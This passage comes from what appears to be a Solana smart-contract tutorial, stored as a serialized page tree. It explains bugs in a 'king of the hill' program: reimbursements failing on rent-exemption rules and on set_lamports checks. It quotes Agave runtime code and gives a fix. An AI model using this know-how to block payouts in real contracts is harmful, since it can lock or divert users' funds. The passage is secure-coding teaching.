transfer_from_pda",{"type":21,"tag":153,"props":74274,"children":74275},{"style":160},[74276],{"type":26,"value":773},{"type":21,"tag":153,"props":74278,"children":74279},{"class":155,"line":3526},[74280,74284,74288,74292,74296,74300,74304,74308,74312],{"type":21,"tag":153,"props":74281,"children":74282},{"style":198},[74283],{"type":26,"value":10411},{"type":21,"tag":153,"props":74285,"children":74286},{"style":192},[74287],{"type":26,"value":1882},{"type":21,"tag":153,"props":74289,"children":74290},{"style":198},[74291],{"type":26,"value":355},{"type":21,"tag":153,"props":74293,"children":74294},{"style":160},[74295],{"type":26,"value":2987},{"type":21,"tag":153,"props":74297,"children":74298},{"style":198},[74299],{"type":26,"value":355},{"type":21,"tag":153,"props":74301,"children":74302},{"style":160},[74303],{"type":26,"value":74046},{"type":21,"tag":153,"props":74305,"children":74306},{"style":198},[74307],{"type":26,"value":355},{"type":21,"tag":153,"props":74309,"children":74310},{"style":181},[74311],{"type":26,"value":74143},{"type":21,"tag":153,"props":74313,"children":74314},{"style":160},[74315],{"type":26,"value":721},{"type":21,"tag":153,"props":74317,"children":74318},{"class":155,"line":3607},[74319,74323,74327,74331,74335,74339],{"type":21,"tag":153,"props":74320,"children":74321},{"style":198},[74322],{"type":26,"value":10411},{"type":21,"tag":153,"props":74324,"children":74325},{"style":192},[74326],{"type":26,"value":1882},{"type":21,"tag":153,"props":74328,"children":74329},{"style":198},[74330],{"type":26,"value":355},{"type":21,"tag":153,"props":74332,"children":74333},{"style":160},[74334],{"type":26,"value":2987},{"type":21,"tag":153,"props":74336,"children":74337},{"style":198},[74338],{"type":26,"value":355},{"type":21,"tag":153,"props":74340,"children":74341},{"style":160},[74342],{"type":26,"value":74343},"old_king,\n",{"type":21,"tag":153,"props":74345,"children":74346},{"class":155,"line":3615},[74347,74352],{"type":21,"tag":153,"props":74348,"children":74349},{"style":192},[74350],{"type":26,"value":74351},"            to_reimburse",{"type":21,"tag":153,"props":74353,"children":74354},{"style":160},[74355],{"type":26,"value":792},{"type":21,"tag":153,"props":74357,"children":74358},{"class":155,"line":3629},[74359,74363,74367],{"type":21,"tag":153,"props":74360,"children":74361},{"style":160},[74362],{"type":26,"value":74167},{"type":21,"tag":153,"props":74364,"children":74365},{"style":198},[74366],{"type":26,"value":2022},{"type":21,"tag":153,"props":74368,"children":74369},{"style":160},[74370],{"type":26,"value":1759},{"type":21,"tag":153,"props":74372,"children":74373},{"class":155,"line":26297},[74374],{"type":21,"tag":153,"props":74375,"children":74376},{"emptyLinePlaceholder":16},[74377],{"type":26,"value":759},{"type":21,"tag":153,"props":74379,"children":74380},{"class":155,"line":26330},[74381],{"type":21,"tag":153,"props":74382,"children":74383},{"style":3050},[74384],{"type":26,"value":74385},"        // Set new king\n",{"type":21,"tag":153,"props":74387,"children":74388},{"class":155,"line":26338},[74389,74393,74397,74401,74405,74409,74413,74418,74422,74426,74430,74434,74438,74443,74447,74452],{"type":21,"tag":153,"props":74390,"children":74391},{"style":192},[74392],{"type":26,"value":28882},{"type":21,"tag":153,"props":74394,"children":74395},{"style":198},[74396],{"type":26,"value":355},{"type":21,"tag":153,"props":74398,"children":74399},{"style":160},[74400],{"type":26,"value":2987},{"type":21,"tag":153,"props":74402,"children":74403},{"style":198},[74404],{"type":26,"value":355},{"type":21,"tag":153,"props":74406,"children":74407},{"style":160},[74408],{"type":26,"value":74046},{"type":21,"tag":153,"props":74410,"children":74411},{"style":198},[74412],{"type":26,"value":355},{"type":21,"tag":153,"props":74414,"children":74415},{"style":160},[74416],{"type":26,"value":74417},"king ",{"type":21,"tag":153,"props":74419,"children":74420},{"style":198},[74421],{"type":26,"value":2367},{"type":21,"tag":153,"props":74423,"children":74424},{"style":192},[74425],{"type":26,"value":28540},{"type":21,"tag":153,"props":74427,"children":74428},{"style":198},[74429],{"type":26,"value":355},{"type":21,"tag":153,"props":74431,"children":74432},{"style":160},[74433],{"type":26,"value":2987},{"type":21,"tag":153,"props":74435,"children":74436},{"style":198},[74437],{"type":26,"value":355},{"type":21,"tag":153,"props":74439,"children":74440},{"style":160},[74441],{"type":26,"value":74442},"new_king",{"type":21,"tag":153,"props":74444,"children":74445},{"style":198},[74446],{"type":26,"value":355},{"type":21,"tag":153,"props":74448,"children":74449},{"style":181},[74450],{"type":26,"value":74451},"key",{"type":21,"tag":153,"props":74453,"children":74454},{"style":160},[74455],{"type":26,"value":839},{"type":21,"tag":153,"props":74457,"children":74458},{"class":155,"line":26346},[74459,74463,74467,74471,74475,74479,74483,74487,74491,74496],{"type":21,"tag":153,"props":74460,"children":74461},{"style":192},[74462],{"type":26,"value":28882},{"type":21,"tag":153,"props":74464,"children":74465},{"style":198},[74466],{"type":26,"value":355},{"type":21,"tag":153,"props":74468,"children":74469},{"style":160},[74470],{"type":26,"value":2987},{"type":21,"tag":153,"props":74472,"children":74473},{"style":198},[74474],{"type":26,"value":355},{"type":21,"tag":153,"props":74476,"children":74477},{"style":160},[74478],{"type":26,"value":74046},{"type":21,"tag":153,"props":74480,"children":74481},{"style":198},[74482],{"type":26,"value":355},{"type":21,"tag":153,"props":74484,"children":74485},{"style":160},[74486],{"type":26,"value":74055},{"type":21,"tag":153,"props":74488,"children":74489},{"style":198},[74490],{"type":26,"value":2367},{"type":21,"tag":153,"props":74492,"children":74493},{"style":192},[74494],{"type":26,"value":74495}," bid_amount",{"type":21,"tag":153,"props":74497,"children":74498},{"style":160},[74499],{"type":26,"value":1759},{"type":21,"tag":153,"props":74501,"children":74502},{"class":155,"line":26355},[74503,74507,74511,74515,74519,74523,74527,74532,74536,74541,74545,74549,74553,74557,74562,74566,74570],{"type":21,"tag":153,"props":74504,"children":74505},{"style":192},[74506],{"type":26,"value":28882},{"type":21,"tag":153,"props":74508,"children":74509},{"style":198},[74510],{"type":26,"value":355},{"type":21,"tag":153,"props":74512,"children":74513},{"style":160},[74514],{"type":26,"value":2987},{"type":21,"tag":153,"props":74516,"children":74517},{"style":198},[74518],{"type":26,"value":355},{"type":21,"tag":153,"props":74520,"children":74521},{"style":160},[74522],{"type":26,"value":74046},{"type":21,"tag":153,"props":74524,"children":74525},{"style":198},[74526],{"type":26,"value":355},{"type":21,"tag":153,"props":74528,"children":74529},{"style":160},[74530],{"type":26,"value":74531},"last_time ",{"type":21,"tag":153,"props":74533,"children":74534},{"style":198},[74535],{"type":26,"value":2367},{"type":21,"tag":153,"props":74537,"children":74538},{"style":214},[74539],{"type":26,"value":74540}," Clock",{"type":21,"tag":153,"props":74542,"children":74543},{"style":198},[74544],{"type":26,"value":265},{"type":21,"tag":153,"props":74546,"children":74547},{"style":181},[74548],{"type":26,"value":19049},{"type":21,"tag":153,"props":74550,"children":74551},{"style":160},[74552],{"type":26,"value":365},{"type":21,"tag":153,"props":74554,"children":74555},{"style":198},[74556],{"type":26,"value":5882},{"type":21,"tag":153,"props":74558,"children":74559},{"style":160},[74560],{"type":26,"value":74561},"unix_timestamp ",{"type":21,"tag":153,"props":74563,"children":74564},{"style":170},[74565],{"type":26,"value":11567},{"type":21,"tag":153,"props":74567,"children":74568},{"style":214},[74569],{"type":26,"value":323},{"type":21,"tag":153,"props":74571,"children":74572},{"style":160},[74573],{"type":26,"value":1759},{"type":21,"tag":153,"props":74575,"children":74576},{"class":155,"line":26431},[74577],{"type":21,"tag":153,"props":74578,"children":74579},{"emptyLinePlaceholder":16},[74580],{"type":26,"value":759},{"type":21,"tag":153,"props":74582,"children":74583},{"class":155,"line":26464},[74584,74588],{"type":21,"tag":153,"props":74585,"children":74586},{"style":214},[74587],{"type":26,"value":17514},{"type":21,"tag":153,"props":74589,"children":74590},{"style":160},[74591],{"type":26,"value":3626},{"type":21,"tag":153,"props":74593,"children":74594},{"class":155,"line":26472},[74595],{"type":21,"tag":153,"props":74596,"children":74597},{"style":160},[74598],{"type":26,"value":539},{"type":21,"tag":153,"props":74600,"children":74601},{"class":155,"line":26480},[74602],{"type":21,"tag":153,"props":74603,"children":74604},{"style":160},[74605],{"type":26,"value":548},{"type":21,"tag":22,"props":74607,"children":74608},{},[74609],{"type":26,"value":74610},"Note this comment:",{"type":21,"tag":5689,"props":74612,"children":74613},{},[74614],{"type":21,"tag":22,"props":74615,"children":74616},{},[74617],{"type":26,"value":74618},"any writable account is allowed as a new king.",{"type":21,"tag":22,"props":74620,"children":74621},{},[74622],{"type":26,"value":74623},"...Is our assumption correct?",{"type":21,"tag":66,"props":74625,"children":74627},{"id":74626},"the-bugs-lurking-beneath",[74628],{"type":26,"value":74629},"The Bugs Lurking Beneath",{"type":21,"tag":114,"props":74631,"children":74633},{"id":74632},"bug-1-the-rent-exemption-trap",[74634],{"type":26,"value":74635},"Bug 1: The Rent-Exemption Trap",{"type":21,"tag":22,"props":74637,"children":74638},{},[74639,74641,74646],{"type":26,"value":74640},"On Solana, all accounts must maintain a ",{"type":21,"tag":8055,"props":74642,"children":74643},{},[74644],{"type":26,"value":74645},"minimum balance",{"type":26,"value":74647}," of lamports to remain rent-exempt. Specifically, an account can be in one of two states:",{"type":21,"tag":87,"props":74649,"children":74650},{},[74651,74666],{"type":21,"tag":91,"props":74652,"children":74653},{},[74654,74659,74660],{"type":21,"tag":8055,"props":74655,"children":74656},{},[74657],{"type":26,"value":74658},"Uninitialized",{"type":26,"value":18031},{"type":21,"tag":78,"props":74661,"children":74663},{"className":74662},[],[74664],{"type":26,"value":74665},"lamports = 0",{"type":21,"tag":91,"props":74667,"children":74668},{},[74669,74674,74675],{"type":21,"tag":8055,"props":74670,"children":74671},{},[74672],{"type":26,"value":74673},"Initialized",{"type":26,"value":18031},{"type":21,"tag":78,"props":74676,"children":74678},{"className":74677},[],[74679],{"type":26,"value":74680},"lamports >= rent-exempt threshold",{"type":21,"tag":22,"props":74682,"children":74683},{},[74684,74686,74691],{"type":26,"value":74685},"This rent model exists to prevent low-cost DoS attacks on validators. The key idea is that even an account with no data (i.e., zero-length data buffer) still consumes on-chain resources; specifically, ",{"type":21,"tag":8055,"props":74687,"children":74688},{},[74689],{"type":26,"value":74690},"account metadata",{"type":26,"value":74692}," like its public key, owner, or lamport balance. That metadata must be stored persistently by validators, and that storage isn't free.",{"type":21,"tag":22,"props":74694,"children":74695},{},[74696,74698,74704],{"type":26,"value":74697},"So “persistent state” on Solana doesn’t just mean your program's data — it includes the base account structure itself. Even accounts with ",{"type":21,"tag":78,"props":74699,"children":74701},{"className":74700},[],[74702],{"type":26,"value":74703},"data.len() == 0",{"type":26,"value":74705}," must meet a minimum rent threshold to remain alive and avoid garbage collection by the runtime.",{"type":21,"tag":22,"props":74707,"children":74708},{},[74709,74711,74717],{"type":26,"value":74710},"This is enforced at the runtime level, and the relevant logic can be found ",{"type":21,"tag":29,"props":74712,"children":74715},{"href":74713,"rel":74714},"https://github.com/anza-xyz/agave/blob/7a1e57469a5b1aeed617457c0519803620ba953f/svm-rent-collector/src/svm_rent_collector.rs#L117-L136",[33],[74716],{"type":26,"value":49874},{"type":26,"value":355},{"type":21,"tag":143,"props":74719,"children":74721},{"className":145,"code":74720,"language":147,"meta":7,"style":7},"    fn transition_allowed(&self, pre_rent_state: &RentState, post_rent_state: &RentState) -> bool {\n        match post_rent_state {\n            RentState::Uninitialized | RentState::RentExempt => true,\n            RentState::RentPaying {\n                data_size: post_data_size,\n                lamports: post_lamports,\n            } => {\n                match pre_rent_state {\n                    RentState::Uninitialized | RentState::RentExempt => false,\n                    RentState::RentPaying {\n                        data_size: pre_data_size,\n                        lamports: pre_lamports,\n                    } => {\n                        // Cannot remain RentPaying if resized or credited.\n                        post_data_size == pre_data_size && post_lamports \u003C= pre_lamports\n                    }\n                }\n            }\n        }\n    }\n",[74722],{"type":21,"tag":78,"props":74723,"children":74724},{"__ignoreMap":7},[74725,74809,74826,74872,74892,74913,74934,74949,74966,75010,75029,75050,75071,75087,75095,75128,75135,75142,75149,75156],{"type":21,"tag":153,"props":74726,"children":74727},{"class":155,"line":156},[74728,74733,74738,74742,74746,74750,74754,74759,74763,74767,74772,74776,74781,74785,74789,74793,74797,74801,74805],{"type":21,"tag":153,"props":74729,"children":74730},{"style":170},[74731],{"type":26,"value":74732},"    fn",{"type":21,"tag":153,"props":74734,"children":74735},{"style":181},[74736],{"type":26,"value":74737}," transition_allowed",{"type":21,"tag":153,"props":74739,"children":74740},{"style":160},[74741],{"type":26,"value":189},{"type":21,"tag":153,"props":74743,"children":74744},{"style":198},[74745],{"type":26,"value":1974},{"type":21,"tag":153,"props":74747,"children":74748},{"style":170},[74749],{"type":26,"value":16427},{"type":21,"tag":153,"props":74751,"children":74752},{"style":160},[74753],{"type":26,"value":1670},{"type":21,"tag":153,"props":74755,"children":74756},{"style":192},[74757],{"type":26,"value":74758},"pre_rent_state",{"type":21,"tag":153,"props":74760,"children":74761},{"style":198},[74762],{"type":26,"value":201},{"type":21,"tag":153,"props":74764,"children":74765},{"style":198},[74766],{"type":26,"value":206},{"type":21,"tag":153,"props":74768,"children":74769},{"style":214},[74770],{"type":26,"value":74771},"RentState",{"type":21,"tag":153,"props":74773,"children":74774},{"style":160},[74775],{"type":26,"value":1670},{"type":21,"tag":153,"props":74777,"children":74778},{"style":192},[74779],{"type":26,"value":74780},"post_rent_state",{"type":21,"tag":153,"props":74782,"children":74783},{"style":198},[74784],{"type":26,"value":201},{"type":21,"tag":153,"props":74786,"children":74787},{"style":198},[74788],{"type":26,"value":206},{"type":21,"tag":153,"props":74790,"children":74791},{"style":214},[74792],{"type":26,"value":74771},{"type":21,"tag":153,"props":74794,"children":74795},{"style":160},[74796],{"type":26,"value":2362},{"type":21,"tag":153,"props":74798,"children":74799},{"style":198},[74800],{"type":26,"value":2953},{"type":21,"tag":153,"props":74802,"children":74803},{"style":214},[74804],{"type":26,"value":14769},{"type":21,"tag":153,"props":74806,"children":74807},{"style":160},[74808],{"type":26,"value":236},{"type":21,"tag":153,"props":74810,"children":74811},{"class":155,"line":166},[74812,74817,74822],{"type":21,"tag":153,"props":74813,"children":74814},{"style":1751},[74815],{"type":26,"value":74816},"        match",{"type":21,"tag":153,"props":74818,"children":74819},{"style":192},[74820],{"type":26,"value":74821}," post_rent_state",{"type":21,"tag":153,"props":74823,"children":74824},{"style":160},[74825],{"type":26,"value":236},{"type":21,"tag":153,"props":74827,"children":74828},{"class":155,"line":225},[74829,74834,74838,74842,74846,74851,74855,74860,74864,74868],{"type":21,"tag":153,"props":74830,"children":74831},{"style":214},[74832],{"type":26,"value":74833},"            RentState",{"type":21,"tag":153,"props":74835,"children":74836},{"style":198},[74837],{"type":26,"value":265},{"type":21,"tag":153,"props":74839,"children":74840},{"style":214},[74841],{"type":26,"value":74658},{"type":21,"tag":153,"props":74843,"children":74844},{"style":198},[74845],{"type":26,"value":7001},{"type":21,"tag":153,"props":74847,"children":74848},{"style":214},[74849],{"type":26,"value":74850}," RentState",{"type":21,"tag":153,"props":74852,"children":74853},{"style":198},[74854],{"type":26,"value":265},{"type":21,"tag":153,"props":74856,"children":74857},{"style":214},[74858],{"type":26,"value":74859},"RentExempt",{"type":21,"tag":153,"props":74861,"children":74862},{"style":198},[74863],{"type":26,"value":30447},{"type":21,"tag":153,"props":74865,"children":74866},{"style":170},[74867],{"type":26,"value":15187},{"type":21,"tag":153,"props":74869,"children":74870},{"style":160},[74871],{"type":26,"value":792},{"type":21,"tag":153,"props":74873,"children":74874},{"class":155,"line":239},[74875,74879,74883,74888],{"type":21,"tag":153,"props":74876,"children":74877},{"style":214},[74878],{"type":26,"value":74833},{"type":21,"tag":153,"props":74880,"children":74881},{"style":198},[74882],{"type":26,"value":265},{"type":21,"tag":153,"props":74884,"children":74885},{"style":214},[74886],{"type":26,"value":74887},"RentPaying",{"type":21,"tag":153,"props":74889,"children":74890},{"style":160},[74891],{"type":26,"value":236},{"type":21,"tag":153,"props":74893,"children":74894},{"class":155,"line":382},[74895,74900,74904,74909],{"type":21,"tag":153,"props":74896,"children":74897},{"style":192},[74898],{"type":26,"value":74899},"                data_size",{"type":21,"tag":153,"props":74901,"children":74902},{"style":198},[74903],{"type":26,"value":201},{"type":21,"tag":153,"props":74905,"children":74906},{"style":192},[74907],{"type":26,"value":74908}," post_data_size",{"type":21,"tag":153,"props":74910,"children":74911},{"style":160},[74912],{"type":26,"value":792},{"type":21,"tag":153,"props":74914,"children":74915},{"class":155,"line":501},[74916,74921,74925,74930],{"type":21,"tag":153,"props":74917,"children":74918},{"style":192},[74919],{"type":26,"value":74920},"                lamports",{"type":21,"tag":153,"props":74922,"children":74923},{"style":198},[74924],{"type":26,"value":201},{"type":21,"tag":153,"props":74926,"children":74927},{"style":192},[74928],{"type":26,"value":74929}," post_lamports",{"type":21,"tag":153,"props":74931,"children":74932},{"style":160},[74933],{"type":26,"value":792},{"type":21,"tag":153,"props":74935,"children":74936},{"class":155,"line":533},[74937,74941,74945],{"type":21,"tag":153,"props":74938,"children":74939},{"style":160},[74940],{"type":26,"value":72889},{"type":21,"tag":153,"props":74942,"children":74943},{"style":198},[74944],{"type":26,"value":17524},{"type":21,"tag":153,"props":74946,"children":74947},{"style":160},[74948],{"type":26,"value":236},{"type":21,"tag":153,"props":74950,"children":74951},{"class":155,"line":542},[74952,74957,74962],{"type":21,"tag":153,"props":74953,"children":74954},{"style":1751},[74955],{"type":26,"value":74956},"                match",{"type":21,"tag":153,"props":74958,"children":74959},{"style":192},[74960],{"type":26,"value":74961}," pre_rent_state",{"type":21,"tag":153,"props":74963,"children":74964},{"style":160},[74965],{"type":26,"value":236},{"type":21,"tag":153,"props":74967,"children":74968},{"class":155,"line":762},[74969,74974,74978,74982,74986,74990,74994,74998,75002,75006],{"type":21,"tag":153,"props":74970,"children":74971},{"style":214},[74972],{"type":26,"value":74973},"                    RentState",{"type":21,"tag":153,"props":74975,"children":74976},{"style":198},[74977],{"type":26,"value":265},{"type":21,"tag":153,"props":74979,"children":74980},{"style":214},[74981],{"type":26,"value":74658},{"type":21,"tag":153,"props":74983,"children":74984},{"style":198},[74985],{"type":26,"value":7001},{"type":21,"tag":153,"props":74987,"children":74988},{"style":214},[74989],{"type":26,"value":74850},{"type":21,"tag":153,"props":74991,"children":74992},{"style":198},[74993],{"type":26,"value":265},{"type":21,"tag":153,"props":74995,"children":74996},{"style":214},[74997],{"type":26,"value":74859},{"type":21,"tag":153,"props":74999,"children":75000},{"style":198},[75001],{"type":26,"value":30447},{"type":21,"tag":153,"props":75003,"children":75004},{"style":170},[75005],{"type":26,"value":11782},{"type":21,"tag":153,"props":75007,"children":75008},{"style":160},[75009],{"type":26,"value":792},{"type":21,"tag":153,"props":75011,"children":75012},{"class":155,"line":776},[75013,75017,75021,75025],{"type":21,"tag":153,"props":75014,"children":75015},{"style":214},[75016],{"type":26,"value":74973},{"type":21,"tag":153,"props":75018,"children":75019},{"style":198},[75020],{"type":26,"value":265},{"type":21,"tag":153,"props":75022,"children":75023},{"style":214},[75024],{"type":26,"value":74887},{"type":21,"tag":153,"props":75026,"children":75027},{"style":160},[75028],{"type":26,"value":236},{"type":21,"tag":153,"props":75030,"children":75031},{"class":155,"line":795},[75032,75037,75041,75046],{"type":21,"tag":153,"props":75033,"children":75034},{"style":192},[75035],{"type":26,"value":75036},"                        data_size",{"type":21,"tag":153,"props":75038,"children":75039},{"style":198},[75040],{"type":26,"value":201},{"type":21,"tag":153,"props":75042,"children":75043},{"style":192},[75044],{"type":26,"value":75045}," pre_data_size",{"type":21,"tag":153,"props":75047,"children":75048},{"style":160},[75049],{"type":26,"value":792},{"type":21,"tag":153,"props":75051,"children":75052},{"class":155,"line":808},[75053,75058,75062,75067],{"type":21,"tag":153,"props":75054,"children":75055},{"style":192},[75056],{"type":26,"value":75057},"                        lamports",{"type":21,"tag":153,"props":75059,"children":75060},{"style":198},[75061],{"type":26,"value":201},{"type":21,"tag":153,"props":75063,"children":75064},{"style":192},[75065],{"type":26,"value":75066}," pre_lamports",{"type":21,"tag":153,"props":75068,"children":75069},{"style":160},[75070],{"type":26,"value":792},{"type":21,"tag":153,"props":75072,"children":75073},{"class":155,"line":820},[75074,75079,75083],{"type":21,"tag":153,"props":75075,"children":75076},{"style":160},[75077],{"type":26,"value":75078},"                    } ",{"type":21,"tag":153,"props":75080,"children":75081},{"style":198},[75082],{"type":26,"value":17524},{"type":21,"tag":153,"props":75084,"children":75085},{"style":160},[75086],{"type":26,"value":236},{"type":21,"tag":153,"props":75088,"children":75089},{"class":155,"line":842},[75090],{"type":21,"tag":153,"props":75091,"children":75092},{"style":3050},[75093],{"type":26,"value":75094},"                        // Cannot remain RentPaying if resized or credited.\n",{"type":21,"tag":153,"props":75096,"children":75097},{"class":155,"line":3204},[75098,75103,75107,75111,75115,75119,75123],{"type":21,"tag":153,"props":75099,"children":75100},{"style":192},[75101],{"type":26,"value":75102},"                        post_data_size",{"type":21,"tag":153,"props":75104,"children":75105},{"style":198},[75106],{"type":26,"value":6031},{"type":21,"tag":153,"props":75108,"children":75109},{"style":192},[75110],{"type":26,"value":75045},{"type":21,"tag":153,"props":75112,"children":75113},{"style":198},[75114],{"type":26,"value":16893},{"type":21,"tag":153,"props":75116,"children":75117},{"style":192},[75118],{"type":26,"value":74929},{"type":21,"tag":153,"props":75120,"children":75121},{"style":198},[75122],{"type":26,"value":10923},{"type":21,"tag":153,"props":75124,"children":75125},{"style":192},[75126],{"type":26,"value":75127}," pre_lamports\n",{"type":21,"tag":153,"props":75129,"children":75130},{"class":155,"line":3230},[75131],{"type":21,"tag":153,"props":75132,"children":75133},{"style":160},[75134],{"type":26,"value":73358},{"type":21,"tag":153,"props":75136,"children":75137},{"class":155,"line":3239},[75138],{"type":21,"tag":153,"props":75139,"children":75140},{"style":160},[75141],{"type":26,"value":73366},{"type":21,"tag":153,"props":75143,"children":75144},{"class":155,"line":3253},[75145],{"type":21,"tag":153,"props":75146,"children":75147},{"style":160},[75148],{"type":26,"value":61177},{"type":21,"tag":153,"props":75150,"children":75151},{"class":155,"line":3301},[75152],{"type":21,"tag":153,"props":75153,"children":75154},{"style":160},[75155],{"type":26,"value":2765},{"type":21,"tag":153,"props":75157,"children":75158},{"class":155,"line":3346},[75159],{"type":21,"tag":153,"props":75160,"children":75161},{"style":160},[75162],{"type":26,"value":539},{"type":21,"tag":22,"props":75164,"children":75165},{},[75166],{"type":26,"value":75167},"You can check the rent-exemption threshold for a zero-data account with the CLI:",{"type":21,"tag":143,"props":75169,"children":75171},{"className":6975,"code":75170,"language":6974,"meta":7,"style":7},"solana rent 0\nRent-exempt minimum: 0.00089088 SOL\n",[75172],{"type":21,"tag":78,"props":75173,"children":75174},{"__ignoreMap":7},[75175,75191],{"type":21,"tag":153,"props":75176,"children":75177},{"class":155,"line":156},[75178,75182,75187],{"type":21,"tag":153,"props":75179,"children":75180},{"style":181},[75181],{"type":26,"value":5636},{"type":21,"tag":153,"props":75183,"children":75184},{"style":671},[75185],{"type":26,"value":75186}," rent",{"type":21,"tag":153,"props":75188,"children":75189},{"style":300},[75190],{"type":26,"value":26976},{"type":21,"tag":153,"props":75192,"children":75193},{"class":155,"line":166},[75194,75199,75204,75209],{"type":21,"tag":153,"props":75195,"children":75196},{"style":181},[75197],{"type":26,"value":75198},"Rent-exempt",{"type":21,"tag":153,"props":75200,"children":75201},{"style":671},[75202],{"type":26,"value":75203}," minimum:",{"type":21,"tag":153,"props":75205,"children":75206},{"style":300},[75207],{"type":26,"value":75208}," 0.00089088",{"type":21,"tag":153,"props":75210,"children":75211},{"style":671},[75212],{"type":26,"value":75213}," SOL\n",{"type":21,"tag":21591,"props":75215,"children":75217},{"id":75216},"fix-1-only-reimburse-if-rent-exempt",[75218],{"type":26,"value":75219},"Fix 1: Only Reimburse if Rent-Exempt",{"type":21,"tag":22,"props":75221,"children":75222},{},[75223],{"type":26,"value":75224},"We don't want to donate anything to an unfair king! So let's update our program to reimburse only if the old king will be rent-exempt after the transfer:",{"type":21,"tag":143,"props":75226,"children":75228},{"className":43052,"code":75227,"language":43054,"meta":7,"style":7},"let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n+let rent = Rent::get()?;\n+let balance_after = ctx.accounts.old_king.lamports() + to_reimburse;\n+if rent.is_exempt(balance_after, ctx.accounts.old_king.data_len()) {\n    transfer_from_pda(\n        &ctx.accounts.throne.to_account_info(),\n        &ctx.accounts.old_king,\n        to_reimburse,\n    )?;\n+}\n",[75229],{"type":21,"tag":78,"props":75230,"children":75231},{"__ignoreMap":7},[75232,75240,75248,75256,75264,75272,75280,75288,75296,75304],{"type":21,"tag":153,"props":75233,"children":75234},{"class":155,"line":156},[75235],{"type":21,"tag":153,"props":75236,"children":75237},{"style":160},[75238],{"type":26,"value":75239},"let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n",{"type":21,"tag":153,"props":75241,"children":75242},{"class":155,"line":166},[75243],{"type":21,"tag":153,"props":75244,"children":75245},{"style":300},[75246],{"type":26,"value":75247},"+let rent = Rent::get()?;\n",{"type":21,"tag":153,"props":75249,"children":75250},{"class":155,"line":225},[75251],{"type":21,"tag":153,"props":75252,"children":75253},{"style":300},[75254],{"type":26,"value":75255},"+let balance_after = ctx.accounts.old_king.lamports() + to_reimburse;\n",{"type":21,"tag":153,"props":75257,"children":75258},{"class":155,"line":239},[75259],{"type":21,"tag":153,"props":75260,"children":75261},{"style":300},[75262],{"type":26,"value":75263},"+if rent.is_exempt(balance_after, ctx.accounts.old_king.data_len()) {\n",{"type":21,"tag":153,"props":75265,"children":75266},{"class":155,"line":382},[75267],{"type":21,"tag":153,"props":75268,"children":75269},{"style":160},[75270],{"type":26,"value":75271},"    transfer_from_pda(\n",{"type":21,"tag":153,"props":75273,"children":75274},{"class":155,"line":501},[75275],{"type":21,"tag":153,"props":75276,"children":75277},{"style":160},[75278],{"type":26,"value":75279},"        &ctx.accounts.throne.to_account_info(),\n",{"type":21,"tag":153,"props":75281,"children":75282},{"class":155,"line":533},[75283],{"type":21,"tag":153,"props":75284,"children":75285},{"style":160},[75286],{"type":26,"value":75287},"        &ctx.accounts.old_king,\n",{"type":21,"tag":153,"props":75289,"children":75290},{"class":155,"line":542},[75291],{"type":21,"tag":153,"props":75292,"children":75293},{"style":160},[75294],{"type":26,"value":75295},"        to_reimburse,\n",{"type":21,"tag":153,"props":75297,"children":75298},{"class":155,"line":762},[75299],{"type":21,"tag":153,"props":75300,"children":75301},{"style":160},[75302],{"type":26,"value":75303},"    )?;\n",{"type":21,"tag":153,"props":75305,"children":75306},{"class":155,"line":776},[75307],{"type":21,"tag":153,"props":75308,"children":75309},{"style":300},[75310],{"type":26,"value":75311},"+}\n",{"type":21,"tag":22,"props":75313,"children":75314},{},[75315],{"type":26,"value":75316},"But is rent-exemption the only thing that can cause a lamport transfer to fail? Not quite.",{"type":21,"tag":114,"props":75318,"children":75320},{"id":75319},"bug-2-writable-but-untouchable-set_lamports-fails",[75321,75323,75329],{"type":26,"value":75322},"Bug 2: Writable but Untouchable — ",{"type":21,"tag":78,"props":75324,"children":75326},{"className":75325},[],[75327],{"type":26,"value":75328},"set_lamports",{"type":26,"value":75330}," Fails",{"type":21,"tag":22,"props":75332,"children":75333},{},[75334,75336,75343],{"type":26,"value":75335},"Let's look at ",{"type":21,"tag":29,"props":75337,"children":75340},{"href":75338,"rel":75339},"https://github.com/anza-xyz/agave/blob/f389dd23067e37d756c3f9d2f3d50e339dad7053/transaction-context/src/lib.rs#L863-L885",[33],[75341],{"type":26,"value":75342},"BorrowedAccount::set_lamports",{"type":26,"value":355},{"type":21,"tag":143,"props":75345,"children":75347},{"className":145,"code":75346,"language":147,"meta":7,"style":7},"/// Overwrites the number of lamports of this account (transaction wide)\n#[cfg(not(target_os = \"solana\"))]\npub fn set_lamports(&mut self, lamports: u64) -> Result\u003C(), InstructionError> {\n    // An account not owned by the program cannot have its balance decrease\n    if !self.is_owned_by_current_program() && lamports \u003C self.get_lamports() {\n        return Err(InstructionError::ExternalAccountLamportSpend);\n    }\n    // The balance of read-only may not change\n    if !self.is_writable() {\n        return Err(InstructionError::ReadonlyLamportChange);\n    }\n    // The balance of executable accounts may not change\n    if self.is_executable_internal() {\n        return Err(InstructionError::ExecutableLamportChange);\n    }\n    // don't touch the account if the lamports do not change\n    if self.get_lamports() == lamports {\n        return Ok(());\n    }\n    self.touch()?;\n    self.account.set_lamports(lamports);\n    Ok(())\n}\n\n/// Feature gating to remove `is_executable` flag related checks\n#[cfg(not(target_os = \"solana\"))]\n#[inline]\nfn is_executable_internal(&self) -> bool {\n    !self\n        .transaction_context\n        .remove_accounts_executable_flag_checks\n        && self.account.executable()\n}\n\n",[75348],{"type":21,"tag":78,"props":75349,"children":75350},{"__ignoreMap":7},[75351,75359,75380,75452,75460,75519,75551,75558,75566,75594,75626,75633,75641,75665,75697,75704,75712,75747,75763,75770,75798,75833,75844,75851,75858,75866,75885,75893,75933,75945,75957,75969,76000],{"type":21,"tag":153,"props":75352,"children":75353},{"class":155,"line":156},[75354],{"type":21,"tag":153,"props":75355,"children":75356},{"style":3050},[75357],{"type":26,"value":75358},"/// Overwrites the number of lamports of this account (transaction wide)\n",{"type":21,"tag":153,"props":75360,"children":75361},{"class":155,"line":166},[75362,75367,75371,75376],{"type":21,"tag":153,"props":75363,"children":75364},{"style":160},[75365],{"type":26,"value":75366},"#[cfg(not(target_os ",{"type":21,"tag":153,"props":75368,"children":75369},{"style":198},[75370],{"type":26,"value":2367},{"type":21,"tag":153,"props":75372,"children":75373},{"style":671},[75374],{"type":26,"value":75375}," 